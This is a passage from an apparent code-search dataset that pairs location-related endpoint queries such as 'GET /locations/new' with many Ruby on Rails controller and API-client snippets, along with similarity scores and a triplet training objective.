"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.order(:country).order(:region).order(:city).page(params[:page])\n respond_with(@locations)\n end",
"def index\n @items_locations = ItemsLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items_locations }\n end\n end",
"def list\n @locations = Location.find(:all, :order => \"name\")\n end",
"def show\n respond_to do |format|\n format.html { @api_v1_location }\n format.json { render json: {results: @api_v1_location, message: 'Locations have loaded successfully.'} }\n end\n end",
"def index\n @map = Map.find(params[:map_id])\n if @map.kind == \"activity\"\n @locations = @map.locations.activity\n elsif @map.kind == \"news\"\n @locations = @map.locations.news\n else\n @locations = @map.locations\n end\n respond_to do |format|\n format.json { render :json => @locations.as_json(:include => :location_pin)}\n end\n end",
"def location(location,types=nil)\n handle_response(get(\"/content/location.json\", :query => {:location => location,:types=>types}))\n end",
"def list_locations\n warn 'Endpoint list_locations in V1LocationsApi is deprecated'\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v1/me/locations'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end",
"def event_get_location_details\n @loc = Apis::HereApi.new(\"\").get_location_details(params[:locationid])\n render json: @loc\n end",
"def locations\n locations_res.data.locations.map {|loc| location_res_to_map(loc)}\n end",
"def index\n @user_locations = ::Users::UserLocation.where(user_id: auth_user.id).order('is_primary desc')\n @page_title = 'Your Addresses'\n\n respond_to do|format|\n format.html\n format.json { render json: @user_locations }\n end\n end",
"def list_locations # :nologin:\n query = create_query(:Location, :all, :by => :name)\n show_selected_locations(query, :link_all_sorts => true)\n end",
"def location(id, options = {})\n get \"locations/#{id}\", options\n end",
"def show\n @location = Location.find(params[:id])\n render json: @locationProut\n end",
"def show\n @locations=@work.locations\n map\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work }\n end\n end",
"def index\n @event_locations = EventLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @event_locations }\n end\n end",
"def get_all_locations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LocationApi.get_all_locations ...\"\n end\n # resource path\n local_var_path = \"/location/all\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2003')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LocationApi#get_all_locations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @processed_locations = ProcessedLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @processed_locations }\n end\n end",
"def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username,\n :password => $password,\n :headers => { :accept => :json,\n :content_type => :json,\n :params => { \"page\" => 1, \"per_page\" => 1000 }\n }\n ).execute\n results = JSON.parse(response.to_str)\n end",
"def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username,\n :password => $password,\n :headers => { :accept => :json,\n :content_type => :json,\n :params => { \"page\" => 1, \"per_page\" => 1000 }\n }\n ).execute\n results = JSON.parse(response.to_str)\n end",
"def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def index\n code = :ok\n currentUser = {\n id: current_user.utilisateur.id,\n fullName: current_user.utilisateur.prenom_nom,\n }\n result = {\n signedIn: user_signed_in?,\n currentUser: currentUser,\n locations: Lieu.all\n }\n render json: result, status: code \n end",
"def locations\n locations = Occi::Core::Locations.new\n\n all(params[:entity]).each do |bt|\n bt_ids = backend_proxy_for(bt).identifiers\n locations_from(bt_ids, bt, locations)\n end\n return if locations.empty?\n\n respond_with locations\n end",
"def show\n @location_url_map = LocationUrlMap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location_url_map }\n end\n end",
"def index\n @locations = Spree::Location.all\n end",
"def get_synthetics_locations\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/synthetics/locations\", nil, nil, false)\n end",
"def show\n @loc = Loc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loc }\n end\n end",
"def show\n @location = Location.find(params[:id])\n @jobs = @location.jobs\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @location }\n end\n end",
"def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username2,\n :password => $password2,\n :headers => { :accept => :json,\n :content_type => :json,\n :params => { \"page\" => 1, \"per_page\" => 1000 }\n }\n ).execute\n results = JSON.parse(response.to_str)\n end",
"def index\n @specific_locations = SpecificLocation.all\n end",
"def locations\n\t\t[]\n\tend",
"def list_locations\n query = create_query(:Location, :all, by: default_sort_order)\n show_selected_locations(query, link_all_sorts: true)\n end",
"def get_all_locations\n @locations = []\n results = Location.all\n results.each do |loc|\n @locations << loc.to_hash\n end\n end",
"def show\n @location_have_location = LocationHaveLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location_have_location }\n end\n end",
"def index\n @ms_locations = MsLocation.all\n end",
"def show\r\n @location = Location.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @location }\r\n end\r\n end",
"def get_locations\n splits = SplitLocationFinder.splits(params).where.not(course_id: @event.course_id)\n render json: splits, each_serializer: SplitLocationSerializer\n end",
"def get_locations\n splits = SplitLocationFinder.splits(params).where.not(course_id: @event.course_id)\n render json: splits, each_serializer: SplitLocationSerializer\n end",
"def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username,\n :password => $password,\n :headers => { :accept => :json,\n :content_type => :json }\n ).execute\n results = JSON.parse(response.to_str)\n end",
"def show\n @corp_location = CorpLocation.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @corp_location }\n end\n end",
"def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username1,\n :password => $password1,\n :headers => { :accept => :json,\n :content_type => :json,\n :params => { \"page\" => 1, \"per_page\" => 1000 }\n }\n ).execute\n results = JSON.parse(response.to_str)\n end",
"def index\n\t\tsurgery_locations = SurgeryLocation.all\n\t\tif surgery_locations.present?\n\t # response to the JSON\n\t render json: { success: true, response: surgery_locations.map{ |f| SurgeryLocationSerializer.new(f).as_json( root: false ) } }\n\t else\n\t render :json=> { success: false, message: \"Surgery Location is not present.\" },:status=> 203\n\t end \n\tend",
"def index\n @locations=Location.all\n end",
"def index\n @locations = Location.search(params[:search])\n end",
"def index\n @location_points = LocationPoint.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @location_points }\n end\n end",
"def from_search\n name = params[:id]\n lat = params[:lat]\n lon = params[:lon]\n @locations = Location.locations_from_candy_ids(Candy.ids_by_name(name))\n if(lat and lon)\n @locations = Location.nearest_five(lat.to_f, lon.to_f, @locations)\n end\n\n respond_to do |format|\n format.html\n format.json { render :json => @locations }\n end\n end",
"def locations\n # blank\n end",
"def location\n @client.get(\"#{path}/location\")\n end"
] |
[
"0.8453372",
"0.8234143",
"0.7760002",
"0.75519973",
"0.740187",
"0.7388884",
"0.7377007",
"0.7368393",
"0.736024",
"0.7325595",
"0.72686946",
"0.72633356",
"0.7240139",
"0.7225058",
"0.7208155",
"0.7189576",
"0.7168539",
"0.71605265",
"0.712463",
"0.7104432",
"0.7091841",
"0.7043743",
"0.70329463",
"0.7023685",
"0.7009416",
"0.698402",
"0.69437444",
"0.6937811",
"0.6920225",
"0.68582916",
"0.68488437",
"0.68331236",
"0.68193084",
"0.6812161",
"0.67991793",
"0.67991793",
"0.67991793",
"0.67991793",
"0.67991793",
"0.67991793",
"0.67991793",
"0.67991793",
"0.67991793",
"0.67991793",
"0.67991793",
"0.67907065",
"0.6790673",
"0.6786562",
"0.6775986",
"0.6774354",
"0.6772468",
"0.6750997",
"0.67435735",
"0.6743071",
"0.6739243",
"0.67203236",
"0.67094666",
"0.67064226",
"0.66949296",
"0.66913205",
"0.6668545",
"0.6651589",
"0.66419405",
"0.66419405",
"0.66393244",
"0.66393244",
"0.66393244",
"0.66393244",
"0.66393244",
"0.66393244",
"0.66393244",
"0.66393244",
"0.66393244",
"0.6639019",
"0.6635029",
"0.66220915",
"0.6620361",
"0.6616047",
"0.6606179",
"0.6599558",
"0.6580362",
"0.6560847",
"0.6559608",
"0.65546644",
"0.6554317",
"0.65528876",
"0.6552469",
"0.6541631",
"0.65339583",
"0.65303874",
"0.65303874",
"0.6519753",
"0.6507384",
"0.64990455",
"0.64809084",
"0.6466982",
"0.6458543",
"0.6457908",
"0.6452039",
"0.6446204",
"0.6444378"
] |
0.0
|
-1
|
GET /locations/new GET /locations/new.json
|
def new
@location = Location.new
@json = @location.to_gmaps4rails
respond_to do |format|
format.html # new.html.erb
format.json { render json: @location }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @location }\n end\n end",
"def new\r\n @location = Location.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @location }\r\n end\r\n end",
"def new\r\n @location = Location.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @location }\r\n end\r\n end",
"def new\n @loc = current_user.locs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loc }\n end\n end",
"def new\n @location = Location.new \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @location }\n end\n end",
"def new\n @curpg = :admintools\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n @locationmap = Locationmap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @locationmap }\n end\n end",
"def new\n @location_url_map = LocationUrlMap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location_url_map }\n end\n end",
"def new\n @location_have_location = LocationHaveLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location_have_location }\n end\n end",
"def new\n @processed_location = ProcessedLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @processed_location }\n end\n end",
"def new\n @corp_location = CorpLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @corp_location }\n end\n end",
"def new\n @records_location = RecordsLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @records_location }\n end\n end",
"def new\n @location = Location.new\n respond_to do |format|\n format.html\n format.xml { render :xml => @location }\n format.json { render :text => @location.to_json }\n end\n end",
"def new\n @items_location = ItemsLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @items_location }\n end\n end",
"def new\n @location = @organization.locations.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n\t @location = Location.new\n\t @months = Month.all\n\t @countries = Location.all.map(&:country).uniq\n\n\t respond_to do |format|\n\t format.html # new.html.erb\n\t format.json { render json: @location }\n\t end\n\t end",
"def new\n @event_location = EventLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event_location }\n end\n end",
"def new\n\n return unless representsCompany?\n\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n @location = Location.new(:status=>1)\n init_new_form\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end",
"def new\n @locations = Location.all\n @itemname = Itemname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @itemname }\n end\n end",
"def new\n @locacao = Locacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @locacao }\n end\n end",
"def new\n @checklocation = Checklocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @checklocation }\n end\n end",
"def new\n @person = Person.new\n @locations = Location.all.map{|l| [l.name, l.id]}\n end",
"def new\n @location_point = LocationPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location_point }\n end\n end",
"def new\n @location_property = LocationProperty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location_property }\n end\n end",
"def new\n @location = Location.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def create\n @curpg = :admintools\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to :controller => \"locations\", :action => \"index\" }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @record = Location.new\n @networks = current_user.entity.networks\n @location_types = Location.location_types\n\n respond_to do |format|\n format.html {render :layout => 'popup'} \n format.json { \n response = {}\n render json: response \n }\n end\n end",
"def new\n @location = Location.new\n respond_with(@location) \n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n format.js\n end\n end",
"def new\n @provider = Provider.new\n @provider.locations.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end",
"def new\n @meeting_location = MeetingLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meeting_location }\n end\n end",
"def new\n if (current_user.role == \"customer\" || current_user.role == \"supervisor\")\n add_breadcrumb \"Location\", 'locations_path'\n add_breadcrumb \"Add new\", '#'\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n else\n redirect_to error_users_path and return\n end \n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @location_region }\n end\n end",
"def new\n @location = Location.new\n @pages = {}\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def new\r\n @discounts_on_location = DiscountsOnLocation.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @discounts_on_location }\r\n end\r\n end",
"def new\n @location = Location.new\n @location.contacts = [{:phone => [{}]}]\n @types = Type.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"def new\n @tutor_location = TutorLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutor_location }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @location }\n end\n end",
"def new\n @location = Location.new\n @location.build_series\n @city = @location.build_city\n \n set_site_entities @location\n \n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n @region = Region.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @region }\n end\n end",
"def new\n @factors_location = FactorsLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @factors_location }\n end\n end",
"def new\n if current_user.is_not_member?\n flash[:error] = \"You do not have permissions to access that feature.\"\n redirect_to root_path and return\n end\n \n @location_history = LocationHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location_history }\n end\n end",
"def new\n @map = Map.new\n\n puts @saved_locations\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @map }\n end\n end",
"def new\n do_new_resource\n get_project_if_exists\n do_set_attributes\n do_authorize_instance\n\n # initialize lat/lng to Brisbane-ish\n @site.longitude = 152\n @site.latitude = -27\n respond_to do |format|\n format.html\n format.json { respond_new }\n end\n end",
"def new\n place = Place.new\n\n render json: place\n end",
"def new\n @locations_region = Locations::Region.new\n respond_to do |format|\n format.js # new.html.erb\n end\n end",
"def new\n if can?(:>=, \"5\")\n @location = Kitting::Location.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n else\n redirect_to main_app.unauthorized_url\n end\n end",
"def new\n @campus_food = CampusFood.new\n\t@locations = Location.all\n\t@temp = []\n\tfor each in @locations\n\t\t@temp.push(each.loc.to_s)\n\tend\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @campus_food }\n end\n end",
"def new\n\t\t@location = Location.new \n\tend",
"def new\n @map = Map.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @map }\n end\n end",
"def new\n @admin_geonode = Admin::Geonode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_geonode }\n end\n end",
"def new\n @user_location = ::Users::UserLocation.new\n\n respond_to do |format|\n format.html { render 'index.html.haml' } # new.html.erb\n format.json { render json: @user_location }\n end\n end",
"def new\n @spawner = Spawner.new\n @fieldtrips = Fieldtrip.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spawner }\n end\n end",
"def new\n @venue = Venue.new\n @venue.build_location\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venue }\n end\n end",
"def new\n @accession_location_entry = AccessionLocationEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @accession_location_entry }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n\tlogger.info \"location saved successfully\"\n\tlogger.info @location.to_json\n format.html { redirect_to @location, :notice => 'Location was successfully created.' }\n format.json { render :json => @location }\n else\n\tlogger.info \"error saving location\"\n format.html { render :action => \"new\" }\n format.json { render :json => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n\n @location = Location.new\n\n end",
"def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end",
"def new\n @where_to_stay = WhereToStay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @where_to_stay }\n end\n end",
"def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end",
"def new\n @location = Location.new\n end",
"def create\n @loc = current_user.locs.new(params[:loc])\n\n respond_to do |format|\n if @loc.save\n format.html { redirect_to @loc, notice: 'Loc was successfully created.' }\n format.json { render json: @loc, status: :created, location: @loc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @loc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @poblamiento_import_location = PoblamientoImportLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poblamiento_import_location }\n end\n end",
"def new\n @origin = OriginAddr.new\n \n drop_breadcrumb('新增')\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @origin }\n end\n end",
"def new\n @deal_location = DealLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @deal_location }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @location = Location.new\n @page_title = 'Create new location'\n end",
"def new\n @locations_locationset = LocationsLocationset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @locations_locationset }\n end\n end",
"def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end",
"def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end",
"def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end",
"def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end",
"def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.json { render :show, status: :created }\n else\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @map = current_user.maps.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @map }\n end\n end",
"def new\n @route = Route.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n render_contact_partials\n\n @location = Location.new\n @location.contacts = [{:phone => [{}]}]\n\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @location }\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.78486854",
"0.78486854",
"0.78486854",
"0.78486854",
"0.78486854",
"0.77727544",
"0.776663",
"0.776663",
"0.77340513",
"0.76910096",
"0.7683446",
"0.7670686",
"0.7583331",
"0.75309056",
"0.74684495",
"0.7386545",
"0.73852605",
"0.73413974",
"0.7314568",
"0.7268835",
"0.7264196",
"0.7250474",
"0.71874964",
"0.7184485",
"0.7148095",
"0.7146527",
"0.7142618",
"0.70799434",
"0.70775694",
"0.70717067",
"0.705646",
"0.7037733",
"0.70285434",
"0.70132536",
"0.70122045",
"0.70122045",
"0.70122045",
"0.70122045",
"0.70122045",
"0.70122045",
"0.6992157",
"0.69713527",
"0.6963752",
"0.6962776",
"0.69418955",
"0.6928542",
"0.6908928",
"0.6906965",
"0.69042504",
"0.689005",
"0.688779",
"0.6866838",
"0.6861918",
"0.6857829",
"0.68414974",
"0.6829256",
"0.6828675",
"0.68168205",
"0.6809416",
"0.6771974",
"0.6763134",
"0.6755966",
"0.6743286",
"0.67387116",
"0.67274326",
"0.6720473",
"0.6720064",
"0.67116016",
"0.67068505",
"0.6701553",
"0.67004126",
"0.669491",
"0.66929144",
"0.6689234",
"0.66845685",
"0.66830516",
"0.6681443",
"0.6667553",
"0.6665227",
"0.6664061",
"0.66619337",
"0.66572887",
"0.66572887",
"0.6656578",
"0.6641247",
"0.6629372",
"0.6629372",
"0.6629372",
"0.6629372",
"0.6629372",
"0.6620234",
"0.6617939",
"0.66115165",
"0.6611337",
"0.6611337",
"0.6611337",
"0.66088456",
"0.6598505",
"0.6598505",
"0.6598505"
] |
0.7158845
|
24
|
POST /locations POST /locations.json
|
def create
@location = Location.new(params[:location].merge!(:user => current_user))
respond_to do |format|
if @location.save
format.html { redirect_to @location, notice: 'La habitación se ha guardado exitosamente.' }
format.json { render json: @location, status: :created, location: @location }
else
format.html { render action: "new" }
format.json { render json: @location.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @location = Location.new(location_params)\n\n if @location.save \n render :json => { status: :created, location: @location }\n else\n render :json => { errors: @location.errors, status: :unprocessable_entity }\n end\n end",
"def create\r\n @location = Location.new(params[:location])\r\n\r\n respond_to do |format|\r\n if @location.save\r\n format.json { render json: @location, status: :created, location: @location }\r\n else\r\n format.json { render json: @location.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.json { render :show, status: :created }\n else\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def postLocation( location_id, type, country, language, name, formal_name, resolution, population, description, timezone, latitude, longitude, parent_town, parent_county, parent_province, parent_region, parent_neighbourhood, parent_district, postalcode, searchable_id, searchable_ids)\n params = Hash.new\n params['location_id'] = location_id\n params['type'] = type\n params['country'] = country\n params['language'] = language\n params['name'] = name\n params['formal_name'] = formal_name\n params['resolution'] = resolution\n params['population'] = population\n params['description'] = description\n params['timezone'] = timezone\n params['latitude'] = latitude\n params['longitude'] = longitude\n params['parent_town'] = parent_town\n params['parent_county'] = parent_county\n params['parent_province'] = parent_province\n params['parent_region'] = parent_region\n params['parent_neighbourhood'] = parent_neighbourhood\n params['parent_district'] = parent_district\n params['postalcode'] = postalcode\n params['searchable_id'] = searchable_id\n params['searchable_ids'] = searchable_ids\n return doCurl(\"post\",\"/location\",params)\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n\tlogger.info \"location saved successfully\"\n\tlogger.info @location.to_json\n format.html { redirect_to @location, :notice => 'Location was successfully created.' }\n format.json { render :json => @location }\n else\n\tlogger.info \"error saving location\"\n format.html { render :action => \"new\" }\n format.json { render :json => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @regions = Region.all\n @location = Location.new(location_params)\n\n if params[:regions]\n @location_regions = Region.find(params[:regions])\n else\n @location_regions = []\n end\n\n @location.regions = @location_regions\n\n respond_to do |format|\n if @location.save\n @location.create_stat\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
